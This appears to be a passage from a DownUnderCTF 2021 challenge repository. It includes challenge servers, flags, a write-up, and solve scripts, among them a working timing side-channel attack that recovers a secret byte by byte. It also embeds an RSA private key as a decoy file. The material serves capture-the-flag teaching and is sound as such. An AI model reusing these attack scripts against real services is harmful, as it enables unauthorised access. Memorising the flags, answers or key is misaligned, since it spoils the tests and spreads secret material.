component of the challenge. The server presents a series of challenges where the player is given a large polynomial and a single integer value. These are the result of composing each of the polynomials along a series of state transitions, and the label of the state the machine "terminated" at. e.g in the following undirected machine: X / \ 0x42, 3 * x + 7 / \ 0x41, 7 * x + 3 / \ / \ Y --------- Z 0x43, 11 * x + 6 If we wanted to challenge the player to provide the string "BC", we'd take the path from X -> Y -> Z which have the two ASCII values we need. That path would cause us to construct the composition: ``` YZ(XY(x)) = 11 * (3 * x + 7) + 6 -> 33x + 83 ``` Since composition of linear functions isn't generally commutative, if we give the player the final state of the machine (Z in this case), they can work backward, decomposing the polynomial along candidate paths in the state graph. It's pretty easy to prune bad paths by avoiding edges which don't have an `a` coefficient which factors the current decomposed polynomial's `a`, or if the current decomposed `c` minus the edge's `c` isn't factored by the edge's `a` (which is the check the solver uses). They could also prune the full state graph immediately using the prime factorisation of the `a` from the challenge they are given, but I found that spending time building the reduced graph dominated execution and it wasn't worth it since we still traverse the full graph pretty quickly. It's worth noting that the challenge uses a complete digraph with self-loops for each node to make it seem more complicated. That means that the edge X -> Y in the example above would be different to the edge Y -> X if it were constructed like the real challenge's machine. The premise works with an undirected graph as well since each state is roughly associated with a "last ASCII value" traversed. ie. all inbound edges to a node have the same integer value, so the fact that X -> Y is different to Y-> X doesn't really matter because even with an unidirected graph we could statefully interpret the path X -> Y -> X -> Y ... as long as we know the final state of that path. ## Stumbling blocks So the player is challenged with progressively larger polynomials to walk backward along, and increasingly restrictive time limits (using SIGALRM on a Python `input()` call). This is partially intended to act as a rough PoW to avoid people trying to DoS the server, but also to give them an opportunity to learn the system with simple challenges before we force them to script a solution. There are a few steps of optimsation I might expect someone to go through: * realising that factoring large ints in Python is slow - I swapped to using GNU `factor` via `subprocess` * realising that reducing the graph is expensive and unnecessary - Lazy people might not even do this in the first place, :+1: * realising that factoring the given `a` isn't necessary - since a single `divmod(c_decomp - c_edge, a_edge)` is enough to work out if an edge is good candidate - this is ideally "required" to finish the final challenge on time ================================================ FILE: misc/gammasafe/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/server.py /home/ctf/chal/pwn RUN chmod +x /home/ctf/chal/pwn ================================================ FILE: misc/gammasafe/README.md ================================================ # GammaSafe **Category:** Misc **Difficulty:** Easy **Author:** nullableVoid\*#7225 GammaSafe is the industry standard for a libc resistant against gamma rays and other sources of soft errors, yet suitable for an embedded solution; perfect for satellites in orbit! ================================================ FILE: misc/gammasafe/challenge/flag.txt ================================================ DUCTF{>[current year]\n>t1m1ng 4774ck5} ================================================ FILE: misc/gammasafe/challenge/server.py ================================================ #!/usr/bin/python3.8 import time FLAG = open("flag.txt", "r").read().strip() SECRET = b"&\xc6\x02\xf2" def main(): print("SATELITE CONNECTION ESTABLISHED") print("-" * 40) print("Warning: This console is restricted to") print("users authorised by the Space Agency for") print("administration purposes only.") print("Unauthorized access is unlawful under") print("intergalactic treaties and will be") print("prosecuted to the fullest extent") print("of the law.") print("-" * 40) attempts = 0 while attempts < 3: print("Signed source IP address (hex): ", end="") try: guess = bytes.fromhex(input()) except: print("Parsing error. Disconnecting...") return for a, b in zip(SECRET, guess): if a != b: break time.sleep(1.2) if SECRET == guess: print("Authenticated. Recorded satelite data decodes to the following:") print(FLAG) return print("Incorrect handshake. This attempt has been logged.") attempts += 1 print("Attempt limit reached. Disconnecting...") if __name__ == "__main__": main() ================================================ FILE: misc/gammasafe/challenge.yml ================================================ version: "0.1" id: gammasafe name: GammaSafe category: misc description: > GammaSafe is the industry standard for a libc resistant against gamma rays and other sources of soft errors, yet suitable for an embedded solution; perfect for satellites in orbit! Author: nullableVoid*#7225 connection_info: nc ${host} ${port} tags: - easy files: - ./publish/gs_strcmp.3 flags: - DUCTF{>[current year]\n>t1m1ng 4774ck5} ================================================ FILE: misc/gammasafe/publish/gs_strcmp.3 ================================================ .TH GS_STRCMP 3 "" "" "GammaSafe Library Manual" .SH NAME GS_strcmp \- safely compare two strings .SH SYNOPSIS .nf .B #include .PP .BI "int GS_strcmp(const GS_STR " s1 ", const GS_STR " s2 ); .fi .SH DESCRIPTION The .BR GS_strcmp () is functionally equivalent to strcmp, comparing the two strings .I s1 and .IR s2 character by character. .PP The function is considerably slower than the normal strcmp as it has to verify and correct each individual character before comparison, for resilience against soft errors. ================================================ FILE: misc/gammasafe/solve/solve.py ================================================ from pwn import remote, context from sys import argv import time known = b"" context.timeout = None threshold = 0.5 def guess(): global known io = None attempts = 0 guesses = [] for i in range(256): c = bytes([i]) print(known+c) if io is None: io = remote(argv[1], int(argv[2])) print(io.readuntil("(hex): ")) attempts += 1 start = time.time() io.sendline((known + c).hex()) if b"Incorrect handshake" not in (line := io.recvline()): print(line) print(io.recvall()) exit() end = time.time() if attempts >= 3: io.close() io = None attempts = 0 if len(guesses) > 0: if end - start > guesses[-1][0] + threshold: return c elif end - start < guesses[-1][0] - threshold: return guesses[-1][1] else: guesses.append((end - start, c)) while len(known) < 5: known += guess() print(known) ================================================ FILE: misc/gammasafe/solve/solve.threaded.py ================================================ # Author: github/uint0 import time import socket import contextlib import concurrent.futures MAX_THREADS = 8 MIN_SAMPLE_SIZE = 16 remote = ('0.0.0.0', 1337) @contextlib.contextmanager def challenge_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect(remote) try: sock.recv(1024) yield sock finally: sock.close() def make_guess(guess): with challenge_sock() as sock: start = time.time() sock.send(guess.hex().encode() + b'\n') sock.recv(1024) return time.time() - start def check_outlier(times): if len(times) < MIN_SAMPLE_SIZE: return None longest, next_longest, *_ = sorted(times, key=lambda k: times[k], reverse=True) return longest if times[longest] - times[next_longest] > 0.5 else None def guess_character(known): with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: # Manually submit as it allows us to control early exits better guesses = [known + bytes([g]) for g in range(256)] submissions = [executor.submit(make_guess, g) for g in guesses] times = {} for g, s in zip(guesses, submissions): print(g.hex(), end='\r') times[g] = s.result() if o := check_outlier(times): for s in submissions: s.cancel() return o assert False, "Could not find longest" def solve(): known = b'' while len(known) < 4: print(known.hex(), end='\r') known = guess_character(known) return known if __name__ == '__main__': print(solve().hex()) ================================================ FILE: misc/general_skills_quiz/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY /challenge/challenge.py /home/ctf/chal/pwn COPY /challenge/wordlist.10000 /home/ctf/chal/wordlist.txt RUN chmod +x /home/ctf/chal/pwn ENV TIME_LIMIT 30 ================================================ FILE: misc/general_skills_quiz/README.md ================================================ # General Skills Quiz Challenge **Author:** Crem **Category:** misc **Difficulty:** Beginner ## Description QUIZ TIME! Just answer the questions as that's pretty easy right? ================================================ FILE: misc/general_skills_quiz/WRITEUP.md ================================================ # General Skills Quiz Write Up The General Skills Quiz is meant to be a beginner challenge in order to learn how to manipulate strings in Python using the commonly known `pwntools` library. There are 11 challenges in total and then you will receive the flag. The solve script that I have written is listed below. Please excuse my terrible code. ```python # /usr/bin/python3 import re, urllib.parse, base64, codecs from pwn import * def extract_q(): print(r.recvuntil(":").decode('utf-8')) q = str(r.recvline().strip()) q_extracted = "".join(re.findall("'([^']*)'", q)) return q_extracted def answer_send(ans, n): answer = ans print("[+] Answer " + str(n) +": " + answer) r.sendline(answer) # Question 1 - Basic Maths r = remote('127.0.0.1', 1337) print(r.recvline().decode('utf-8')) # Sending \n to progress r.sendline() print(r.recvline().decode('utf-8')) print(r.recvline().decode('utf-8')) answer_send("2", 1) # Question 2 - Hex -> Base 10 answer_send(str(int(extract_q(), 0)), 2) # Question 3 - Hex -> ASCII answer_send(bytes.fromhex(extract_q()).decode('utf-8'), 3) # Question 4 - URL Encoded -> ASCII Symbols answer_send(urllib.parse.unquote(extract_q()), 4) # Question 5 - Base64 -> ASCII answer_send(base64.b64decode(extract_q()).decode('utf-8'), 5) # Question 6 - ASCII -> Base64 answer_send(base64.b64encode(str.encode(extract_q())).decode('utf-8'), 6) # Question 7 - ROT13 -> ASCII answer_send(codecs.encode(extract_q(), 'rot_13'), 7) # Question 8 - ASCII -> ROT13 answer_send(codecs.decode(extract_q(), 'rot_13'), 8) # Question 9 - Binary -> Base 10 answer_send(str(int(extract_q(),2)), 9) # Question 10 - Base10 -> Binary answer_send(bin(int(extract_q())), 10) # Question 11 - CTF Q print(r.recvuntil("?")) answer11 = "DUCTF" print("[+] Answer 11: " + answer11) r.sendline(answer11) print(r.recvall().decode('utf-8')) ``` ================================================ FILE: misc/general_skills_quiz/challenge/challenge.py ================================================ #!/usr/bin/python3.8 import random, base64, codecs, string, urllib.parse,re art = r""" ##############################' `############################## ############################' `############################ ###'`#############'`######! !######'`#############'`### #### ########### ####### ####### ########### #### ####. `#' \' \#` #######! DUCTF !####### '#/ `/ `#' .#### #####. !\ i i .######## ########. i i /! .##### ###### `--`--.######### #########.--'--' ###### ######L `#####^^## ##^^#####' J###### #######. .' ""~ ### #. .# ### ~"" `. .####### ########. ; .e#####! ##. .## !#####e, ; .######## ######### `.############ ###. .### ############.' ######### ######## .#############! ##`########'## !#############. ######## #JT&yd# ################. # ## # .################ #by&TL# # ## # #. ## .# `# #' `########' """ flag = r""" .^. (( )) |#|_______________________________ |#||##############################| |#||##############################| |#||##############################| |#||##############################| |#||########DOWNUNDERCTF##########| |#||########(DUCTF 2021)##########| |#||##############################| |#||##############################| |#||##############################| |#||##############################| |#|'------------------------------' |#| |#| |#| |#| |#| |#| |#| |#| |#| |#| |#| |#| DUCTF{you_aced_the_quiz!_have_a_gold_star_champion} |#| |#| |#| //|\\ """ # Wordlist is from https://www.mit.edu/~ecprice/wordlist.10000 word_file = "./wordlist.txt" words = open(word_file).read().splitlines() # function to generate a random word n amount of times def generate_random_word(n): tmp = "" for _ in range(n): tmp += (random.choice(words)) + "_" return tmp.strip("_") # Develops a question where n is the amount of words and q is the question string def question(p, q): plaintext = p print(q) # Uncomment below line if you need answer # print(plaintext) user_answer = input() if (user_answer == plaintext): return True else: return False # Logic of the right or wrong answer. Pass in the question function and a compliment to the user if they get it right. def logic(full_q, compliment): if (full_q): print(compliment) print() else: print() print("\t\t\t\tYOU CARKED IT!") print() print(art) exit() # Question 1 - Basic Maths q1_plaintext = "2" q1_math = "Answer this maths question: 1+1=?" # Question 2 - Hex -> Base 10 q2_plaintext = str(random.randint(10,255)) q2_hex2base10 ="Decode this hex string and provide me the original number (base 10): " + hex(int(q2_plaintext)) # Question 3 - Hex -> ASCII q3_plaintext = str(random.choice(string.ascii_letters)) q3_hex2ascii = "Decode this hex string and provide me the original ASCII letter: " + q3_plaintext.encode("utf-8").hex() # Question 4 - URL Encoded -> ASCII Symbols q4_plaintext = random.choice(string.punctuation) + random.choice(string.punctuation) + random.choice(string.punctuation) q4_urlencode2ascii = "Decode this URL encoded string and provide me the original ASCII symbols: " + urllib.parse.quote(q4_plaintext) # Question 5 - Base64 -> ASCII q5_plaintext = generate_random_word(4) q5_b64decode = "Decode this base64 string and provide me the plaintext: " + base64.b64encode(str.encode(q5_plaintext)).decode("UTF-8") # Question 6 - ASCII -> Base64 q6_start = generate_random_word(4) q6_end = base64.b64encode(str.encode(q6_start)).decode("UTF-8") q6_b64encode = "Encode this plaintext string and provide me the Base64: " + q6_start # Question 7 - ROT13 -> ASCII q7_plaintext = generate_random_word(4) q7_r13decode = "Decode this rot13 string and provide me the plaintext: " + codecs.encode((q7_plaintext),'rot13') # Question 8 - ASCII -> ROT13 q8_start = generate_random_word(4) q8_end = codecs.encode(q8_start,'rot13') q8_r13encode = "Encode this plaintext string and provide me the ROT13 equilavent: " + q8_start # Question 9 - Binary -> Base 10 q9_plaintext = str(random.randint(1000,9999)) q9_binarydecode = "Decode this binary string and provide me the original number (base 10): " + bin(int(q9_plaintext)) # Question 10 - Base10 -> Binary q10_start = str(random.randint(1000,9999)) q10_mid = bin(int(q10_start)) q10_binaryencode = "Encode this number and provide me the binary equivalent: " + q10_start # Question 11 - CTF Q q11_plaintext = "DUCTF" q11_problem = "Final Question, what is the best CTF competition in the universe?" # Main print("Welcome to the DUCTF Classroom! Cyber School is now in session!") input("Press enter when you are ready to start your 30 seconds timer for the quiz...") print("Woops the time is always ticking...") logic(question(q1_plaintext, q1_math), "Well I see you are not a bludger then.") logic(question(q2_plaintext, q2_hex2base10), "You're better than a dog's breakfast at least.") logic(question(q3_plaintext, q3_hex2ascii), "Come on this isn't hard yakka") logic(question(q4_plaintext, q4_urlencode2ascii), "You haven't gone walkabout yet. Keep going!") logic(question(q5_plaintext, q5_b64decode), "That's a fair crack of the whip.") logic(question(q6_end, q6_b64encode), "Fair dinkum! That's not bad.") logic(question(q7_plaintext, q7_r13decode), "Don't spit the dummy yet!") logic(question(q8_end, q8_r13encode), "You're sussing this out pretty quickly.") logic(question(q9_plaintext, q9_binarydecode), "Crikey, can you speak computer?") logic(question(q10_mid, q10_binaryencode), "You're better than a bunnings sausage sizzle.") logic(question(q11_plaintext, q11_problem), "Bloody Ripper! Here is the grand prize!") print() print(flag) ================================================ FILE: misc/general_skills_quiz/challenge/wordlist.10000 ================================================ a aa aaa aaron ab abandoned abc aberdeen abilities ability able aboriginal abortion about above abraham abroad abs absence absent absolute absolutely absorption abstract abstracts abu abuse ac academic academics academy acc accent accept acceptable acceptance accepted accepting accepts access accessed accessibility accessible accessing accessories accessory accident accidents accommodate accommodation accommodations accompanied accompanying accomplish accomplished accordance according accordingly account accountability accounting accounts accreditation accredited accuracy accurate accurately accused acdbentity ace acer achieve achieved achievement achievements achieving acid acids acknowledge acknowledged acm acne acoustic acquire acquired acquisition acquisitions acre acres acrobat across acrylic act acting action actions activated activation active actively activists activities activity actor actors actress acts actual actually acute ad ada adam adams adaptation adapted adapter adapters adaptive adaptor add added addiction adding addition additional additionally additions address addressed addresses addressing adds adelaide adequate adidas adipex adjacent adjust adjustable adjusted adjustment adjustments admin administered administration administrative administrator administrators admission admissions admit admitted adobe adolescent adopt adopted adoption adrian ads adsl adult adults advance advanced advancement advances advantage advantages adventure adventures adverse advert advertise advertisement advertisements advertiser advertisers advertising advice advise advised advisor advisors advisory advocacy advocate adware ae aerial aerospace af affair affairs affect affected affecting affects affiliate affiliated affiliates affiliation afford affordable afghanistan afraid africa african after afternoon afterwards ag again against age aged agencies agency agenda agent agents ages aggregate aggressive aging ago agree agreed agreement agreements agrees agricultural agriculture ah ahead ai aid aids aim aimed aims air aircraft airfare airline airlines airplane airport airports aj ak aka al ala alabama alan alarm alaska albania albany albert alberta album albums albuquerque alcohol alert alerts alex alexander alexandria alfred algebra algeria algorithm algorithms ali alias alice alien align alignment alike alive all allah allan alleged allen allergy alliance allied allocated allocation allow allowance allowed allowing allows alloy almost alone along alot alpha alphabetical alpine already also alt alter altered alternate alternative alternatively alternatives although alto aluminium aluminum alumni always am amanda amateur amazing amazon amazoncom amazoncouk ambassador amber ambien ambient amd amend amended amendment amendments amenities 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realty rear reason reasonable reasonably reasoning reasons rebate rebates rebecca rebel rebound rec recall receipt receive received receiver receivers receives receiving recent recently reception receptor receptors recipe recipes recipient recipients recognised recognition recognize recognized recommend recommendation recommendations recommended recommends reconstruction record recorded recorder recorders recording recordings records recover recovered recovery recreation recreational recruiting recruitment recycling red redeem redhead reduce reduced reduces reducing reduction reductions reed reef reel ref refer reference referenced references referral referrals referred referring refers refinance refine refined reflect reflected reflection reflections reflects reform reforms refresh refrigerator refugees refund refurbished refuse refused reg regard regarded regarding regardless regards reggae regime region regional regions register registered registrar registration registry regression regular regularly regulated regulation regulations regulatory rehab rehabilitation reid reject rejected rel relate related relates relating relation relations relationship relationships relative relatively relatives relax relaxation relay release released releases relevance relevant reliability reliable reliance relief religion religions religious reload relocation rely relying remain remainder remained remaining remains remark remarkable remarks remedies remedy remember remembered remind reminder remix remote removable removal remove removed removing renaissance render rendered rendering renew renewable renewal reno rent rental rentals rentcom rep repair repairs repeat repeated replace replaced replacement replacing replica replication replied replies reply report reported reporter reporters reporting reports repository represent representation representations representative representatives represented representing represents reprint reprints reproduce reproduced reproduction reproductive republic republican republicans reputation request requested requesting requests require required requirement requirements requires requiring res rescue research researcher researchers reseller reservation reservations reserve reserved reserves reservoir reset residence resident residential residents resist resistance resistant resolution resolutions resolve resolved resort resorts resource resources respect respected respective respectively respiratory respond responded respondent respondents responding response responses responsibilities responsibility responsible rest restaurant restaurants restoration restore restored restrict restricted restriction restrictions restructuring result resulted resulting results resume resumes retail retailer retailers retain retained retention retired retirement retreat retrieval retrieve retrieved retro return returned returning returns reunion reuters rev reveal revealed reveals revelation revenge revenue revenues reverse review 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source sources south southampton southeast southern southwest soviet sox sp spa space spaces spain spam span spanish spank spanking sparc spare spas spatial speak speaker speakers speaking speaks spears spec special specialist specialists specialized specializing specially specials specialties specialty species specific specifically specification specifications specifics specified specifies specify specs spectacular spectrum speech speeches speed speeds spell spelling spencer spend spending spent sperm sphere spice spider spies spin spine spirit spirits spiritual spirituality split spoke spoken spokesman sponsor sponsored sponsors sponsorship sport sporting sports spot spotlight spots spouse spray spread spreading spring springer springfield springs sprint spy spyware sq sql squad square squirt squirting sr src sri ss ssl st stability stable stack stadium staff staffing stage stages stainless stakeholders stamp stamps stan stand standard standards standing standings stands stanford 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surf surface surfaces surfing surge surgeon surgeons surgery surgical surname surplus surprise surprised surprising surrey surround surrounded surrounding surveillance survey surveys survival survive survivor survivors susan suse suspect suspected suspended suspension sussex sustainability sustainable sustained suzuki sv sw swap sweden swedish sweet swift swim swimming swing swingers swiss switch switched switches switching switzerland sword sydney symantec symbol symbols sympathy symphony symposium symptoms sync syndicate syndication syndrome synopsis syntax synthesis synthetic syracuse syria sys system systematic systems t ta tab table tables tablet tablets tabs tackle tactics tag tagged tags tahoe tail taiwan take taken takes taking tale talent talented tales talk talked talking talks tall tamil tampa tan tank tanks tanzania tap tape tapes tar target targeted targets tariff task tasks taste tattoo taught tax taxation taxes taxi taylor tb tba tc tcp td te tea teach teacher teachers teaches teaching team teams tear tears tech technical technician technique techniques techno technological technologies technology techrepublic ted teddy tee teen teenage teens teeth tel telecharger telecom telecommunications telephone telephony telescope television televisions tell telling tells temp temperature temperatures template templates temple temporal temporarily temporary ten tenant tend tender tennessee tennis tension tent term terminal terminals termination terminology terms terrace terrain terrible territories territory terror terrorism terrorist terrorists terry test testament tested testimonials testimony testing tests tex texas text textbook textbooks textile textiles texts texture tf tft tgp th thai thailand than thank thanks thanksgiving that thats the theater theaters theatre thee theft thehun their them theme themes themselves then theology theorem theoretical theories theory therapeutic therapist therapy there thereafter thereby therefore thereof thermal thesaurus these thesis they thick thickness thin thing things think thinking thinkpad thinks third thirty this thomas thompson thomson thong thongs thorough thoroughly those thou though thought thoughts thousand thousands thread threaded threads threat threatened threatening threats three threesome threshold thriller throat through throughout throw throwing thrown throws thru thu thumb thumbnail thumbnails thumbs thumbzilla thunder thursday thus thy ti ticket tickets tide tie tied tier ties tiffany tiger tigers tight til tile tiles till tim timber time timeline timely timer times timing timothy tin tiny tion tions tip tips tire tired tires tissue tit titanium titans title titled titles tits titten tm tmp tn to tobacco tobago today todd toddler toe together toilet token tokyo told tolerance toll tom tomato tomatoes tommy tomorrow ton tone toner tones tongue tonight tons tony too took tool toolbar toolbox toolkit tools tooth top topic topics topless tops toronto torture toshiba total totally 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units unity univ universal universe universities university unix unknown unless unlike unlikely unlimited unlock unnecessary unsigned unsubscribe until untitled unto unusual unwrap up upc upcoming update updated updates updating upgrade upgrades upgrading upload uploaded upon upper ups upset upskirt upskirts ur urban urge urgent uri url urls uruguay urw us usa usage usb usc usd usda use used useful user username users uses usgs using usps usr usual usually ut utah utc utilities utility utilization utilize utils uv uw uzbekistan v va vacancies vacation vacations vaccine vacuum vagina val valentine valid validation validity valium valley valuable valuation value valued values valve valves vampire van vancouver vanilla var variable variables variance variation variations varied varies variety various vary varying vast vat vatican vault vb vbulletin vc vcr ve vector vegas vegetable vegetables vegetarian vegetation vehicle vehicles velocity velvet vendor vendors venezuela venice venture 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wales walk walked walker walking walks wall wallace wallet wallpaper wallpapers walls walnut walt walter wan wang wanna want wanted wanting wants war warcraft ward ware warehouse warm warming warned warner warning warnings warrant warranties warranty warren warrior warriors wars was wash washer washing washington waste watch watched watches watching water waterproof waters watershed watson watt watts wav wave waves wax way wayne ways wb wc we weak wealth weapon weapons wear wearing weather web webcam webcams webcast weblog weblogs webmaster webmasters webpage webshots website websites webster wed wedding weddings wednesday weed week weekend weekends weekly weeks weight weighted weights weird welcome welding welfare well wellington wellness wells welsh wendy went were wesley west western westminster wet whale what whatever whats wheat wheel wheels when whenever where whereas wherever whether which while whilst white who whole wholesale whom whore whose why wi wichita wicked wide widely wider widescreen widespread width wife wifi wiki wikipedia wild wilderness wildlife wiley will william williams willing willow wilson win wind window windows winds windsor wine wines wing wings winner winners winning wins winston winter wire wired wireless wires wiring wisconsin wisdom wise wish wishes wishlist wit witch with withdrawal within without witness witnesses wives wizard wm wma wn wolf woman women womens won wonder wonderful wondering wood wooden woods wool worcester word wordpress words work worked worker workers workflow workforce working workout workplace works workshop workshops workstation world worldcat worlds worldsex worldwide worm worn worried worry worse worship worst worth worthy would wound wow wp wr wrap wrapped wrapping wrestling wright wrist write writer writers writes writing writings written wrong wrote ws wt wto wu wv ww www wx wy wyoming x xanax xbox xerox xhtml xi xl xml xnxx xp xx xxx y ya yacht yahoo yale yamaha yang yard yards yarn ye yea yeah year yearly years yeast yellow yemen yen yes yesterday yet yield yields yn yo yoga york yorkshire you young younger your yours yourself youth yr yrs yu yugoslavia yukon z za zambia zdnet zealand zen zero zimbabwe zinc zip zoloft zone zones zoning zoo zoom zoophilia zope zshops zu zum zus ================================================ FILE: misc/general_skills_quiz/challenge.yml ================================================ version: "0.1" id: general-skills-quiz name: General Skills Quiz category: misc description: | QUIZ TIME! Just answer the questions. Pretty easy right? Author: Crem connection_info: nc ${host} ${port} tags: - beginner flags: - DUCTF{you_aced_the_quiz!_have_a_gold_star_champion} ================================================ FILE: misc/general_skills_quiz/docker-compose.yml ================================================ version: "2" services: general_skills_quiz: build: . privileged: true ports: - "1337:1337" ================================================ FILE: misc/general_skills_quiz/solve.py ================================================ # /usr/bin/python3 import re, urllib.parse, base64, codecs from pwn import * HOST = "127.0.0.1" PORT = 1337 def extract_q(): print(r.recvuntil(":").decode('utf-8')) q = str(r.recvline().strip()) q_extracted = "".join(re.findall("'([^']*)'", q)) return q_extracted def answer_send(ans, n): answer = ans print("[+] Answer " + str(n) +": " + answer) r.sendline(answer) # Question 1 - Basic Maths r = remote(HOST, PORT) print(r.recvline().decode('utf-8')) # Sending \n to progress r.sendline() print(r.recvline().decode('utf-8')) print(r.recvline().decode('utf-8')) answer_send("2", 1) # Question 2 - Hex -> Base 10 answer_send(str(int(extract_q(), 0)), 2) # Question 3 - Hex -> ASCII answer_send(bytes.fromhex(extract_q()).decode('utf-8'), 3) # Question 4 - URL Encoded -> ASCII Symbols answer_send(urllib.parse.unquote(extract_q()), 4) # Question 5 - Base64 -> ASCII answer_send(base64.b64decode(extract_q()).decode('utf-8'), 5) # Question 6 - ASCII -> Base64 answer_send(base64.b64encode(str.encode(extract_q())).decode('utf-8'), 6) # Question 7 - ROT13 -> ASCII answer_send(codecs.encode(extract_q(), 'rot_13'), 7) # Question 8 - ASCII -> ROT13 answer_send(codecs.decode(extract_q(), 'rot_13'), 8) # Question 9 - Binary -> Base 10 answer_send(str(int(extract_q(),2)), 9) # Question 10 - Base10 -> Binary answer_send(bin(int(extract_q())), 10) # Question 11 - CTF Q print(r.recvuntil("?")) answer11 = "DUCTF" print("[+] Answer 11: " + answer11) r.sendline(answer11) print(r.recvall().decode('utf-8')) ================================================ FILE: misc/i_pee_fs/README.md ================================================ # i-pee fs **Category**: misc **Difficulty**: Easy - Medium **Author**: dot **Flavor Text**: _I'm currently working on a new project called i-pee fs, which can be hosted on your average run of the mill potato. Don't mash it too hard..._ ## Description This challenge involves burning a lot of IPv6 addresses. ## Writeup > will add a solve script. I haven't tried solving this one yet, but in theory it's possible. Each IPv6 address which is part of the prefix hosts a different number. When you hit the endpoint, it will send back a UDP packet with a 32-bit integer in ASCII. By iterating through IPv6 addresses, you should be able to see that the hidden message is in fact a FAT filesystem with some garbage files taking most of the space. There are also some rate limits applied too make the challenge more difficult, players wil only be able to request a maximum of 1024 numbers (4096 bytes) per minute per /56. The rate limiter will return -1 for the rest of the minute when it has been reached. Therefore, a player should use their knowledge of the filesystem in order to traverse it efficiently and find the file with the flag. I guess some competitors could get their hands on a /48 and use that to brute force as an unintended solution, but also the server might break if that happens... ## Setup This will be hosted on a separate box as it requires some special IPv6 configuration. 1. Compile the go. 2. Run generate.sh to generate the filesystem image 3. Add the IP to the loopback table `sudo ip -6 route add local ::/96 dev lo` 4. Start the challenge. ================================================ FILE: misc/i_pee_fs/challenge.yml ================================================ version: "0.1" id: i-pee-fs name: i-pee fs category: misc description: > I'm currently working on a new project called i-pee fs, which can be hosted on your average run of the mill potato. Don't mash it too hard... Author: dot connection_info: nc ${host} ${port} tags: - medium flags: - DUCTF{FAT32_0v3r_IPv16_q01KQYYS6a} ================================================ FILE: misc/i_pee_fs/src/.gitignore ================================================ main data ================================================ FILE: misc/i_pee_fs/src/dir/01 lol ================================================ Day 1: I don't know what I'm doing Day 2: This might become a little annoying. Day 3: Test. Day 4: Lol ================================================ FILE: misc/i_pee_fs/src/dir/03 owo whats this ================================================ Imagine reading a post, but over the course of it the quality seems to deteriorate and it gets wose an wose, where the swenetence stwucture and gwammer rewerts to a pwoint of uttew non swence, an u jus dont wanna wead it anymwore (o´ω｀o) awd twa wol owdewl iws jus awfwul (´･ω･`);. bwt tw powost iwswnwt obwer nyet, it gwos own an own an own an own. uwu wanyaa stwop weadwing bwut uwu cwant stop wewding, uwu stwartd thwis awnd ur gwoing two fwinibsh it nowo mwattew wat! uwu hab mwoxie kwiddowo, bwut uwu wibl gwib ub sowon. i cwan wite wike dis fwor owors, swo dwont cwalengbe mii.. ================================================ FILE: misc/i_pee_fs/src/dir/04 story ================================================ "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum." ================================================ FILE: misc/i_pee_fs/src/dir/05 pkfire ================================================ -----BEGIN RSA PRIVATE KEY----- MIIJKAIBAAKCAgEA0dyXty/tawPXyC/W+6v9myLn66TGBHPTa25yDMNpYbT2PEVi 3JIBgVUhs39eGyVYTIQ5T4Ll0TKkyigGdk+PIliI+9WSuBnBeXjoO4tj97YJqxm7 yEPMlbv9wlBqASOWCAfVTvRCDwue7U9lCxdHC8/Q0ZAH4Is7ElIKKGMKusF+4/K4 wF7ajZXPaxizeBkcldCRTdHelsQf1+CDBdhQzf1h2NTxWiYH408yciDCjERMbjBn ovg0zaORasizOu+5FPxln5VkS+sMVATm9PJcNWChpdpAilnilFv7baGwnd3WOZuD jYOo8n68dP5ygU6lKMjqZ+3kTmUVztbJ6uRr3h5Zyv//hgIhGUG5tBJtHRtiLlFD KMlRCWLkDdgeZgBLdliO88uoCtk+d8Oq+XKstCBjOK/dEyGvLgFZ3MISqRo9ghl3 cks08ScknOvrjrz9yz/X9U7gqA98UX9xyWcw0bGGIKCtBJPpY5AjiA4u+KLHYzSH 85qGR+WIXBYGfoYc3p6oEqTkz0e+hLbUEzfPaNketLPZ/t94IwAPXPuyhpyZs9K5 R4LMtH+N0K447uppYgpAPp3mCTrRRM/V2X7xZJMRVBesI5BPx8eDBHgwoB5ztd7P YdGv0MYu0x/fo3sGuCDCXqSRVES5D1ItnyEQhAEgu+spunNc5VTD26zz/U8CAwEA AQKCAgArH7RBXWThF7IQndwEbUw4w8x6fKqAIbjxG4nuG32dKU1sByoQfyQ2CmNZ ejPBSkRBvO3168UD3u9D50OkriaQfTbw4Os8T3aVWoYGLleFgG+uLCSNO3lfz3iO pG2T/FcJIWrwxXqJku6+fxEZXVgpEjQry/gCaTnjQt55fBipVbeYabkTNqqca4tq y3GdnTNlia1CG30s5/JPLwBdhBzep1Gi9+b8ilIWoKCSGS9BGYvHHMU/FNfs5c6s 7b7+vmH+8PqE93Lbstoerb8z2FWgVlIBPb8DbwMDT390AMTFO9+YiN9YhhSCeA6L z/mBnsKLhfW9E4JVpan8jeCCFxwe8giCPIwoJzyjilz+1zahbL2tQtHL/Ij1RMYq Xd9koePva8LqRDlCgh7wL9SzPXg77ybLHiC5Fk0D2jOCnAJ60YDP7/HrNxcXxYDV W13ePy9OPWyeGjaNCbGWLrJbpHV+05o5aBRA6kGLNrXW+18Z9ZvrYTSLMymeDbcT ceIrIEz5dirc/0O/uubVAICgelUn02qVyjtnnlknC57txQp4v3aSQ5zYdwxzM6Rw bpPEfmJ6aY5KPZYI/C86yrQPpiu+NpctNCuFln9kIC7mgRa+8HzNGLJvC4ZLgejC aeartmuuHo2Wosol36YPj3MwGmFRgP96Cq1bEBRXXMCwK2whWQKCAQEA+LzMxk+J rzlTKitiW0VYmiNdtNE52tBtPI+WcIOuJvElZ04979Obhsc71z+iHSCB5lpr6u8G CgWQzqsyZU4iueLOVxC8P2ojLTXzYWSHt6rGyI1WPhiQJP2tHXsgd3ON3E7EoiBM 5Ya1q0qsGU8mtsDPRmiC6QjTkYfWQMnL7/nxfhBJAQ3/fKhKpi6R3dZ9aPs1xmVT 